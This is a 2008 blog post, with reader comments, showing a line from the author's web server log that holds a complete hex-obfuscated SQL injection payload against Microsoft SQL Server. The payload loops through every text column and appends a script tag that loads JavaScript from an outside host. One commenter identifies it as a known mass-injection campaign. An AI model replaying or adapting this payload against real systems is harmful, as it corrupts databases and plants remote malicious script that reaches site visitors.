Look What I Just Found In My Access.log
By Daniel Miessler on August 17th, 2008: Tagged as Information Security
75.152.146.229 - - [17/Aug/2008:00:38:12 -0400] "GET /blog/2004/09?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 200 31124
Sell crazy somewhere else; we’re all stocked up here — Jack Nicholson
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What…. They just wanted you to check out their uber-leet c00l piece of javascript, you’re not interested?…
But it’s really cool…
Oh, OK, how about this great TRS-80 I got back here, I’ll toss in a tape deck for free?? :)
Comment by Michael S Black — 8/17/2008 @ 12:50 pm
Sorry, I was bored ;-)
Comment by Brooks Garrett — 8/17/2008 @ 2:55 pm
Its the latest MSSQL server injection hack whereby it messes up all existing character based columns. Details are here:
http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII
It seems that a lot of ColdFusion + MSSQL users have been particularly hit hard.
Comment by Raoul Duke — 8/18/2008 @ 8:51 pm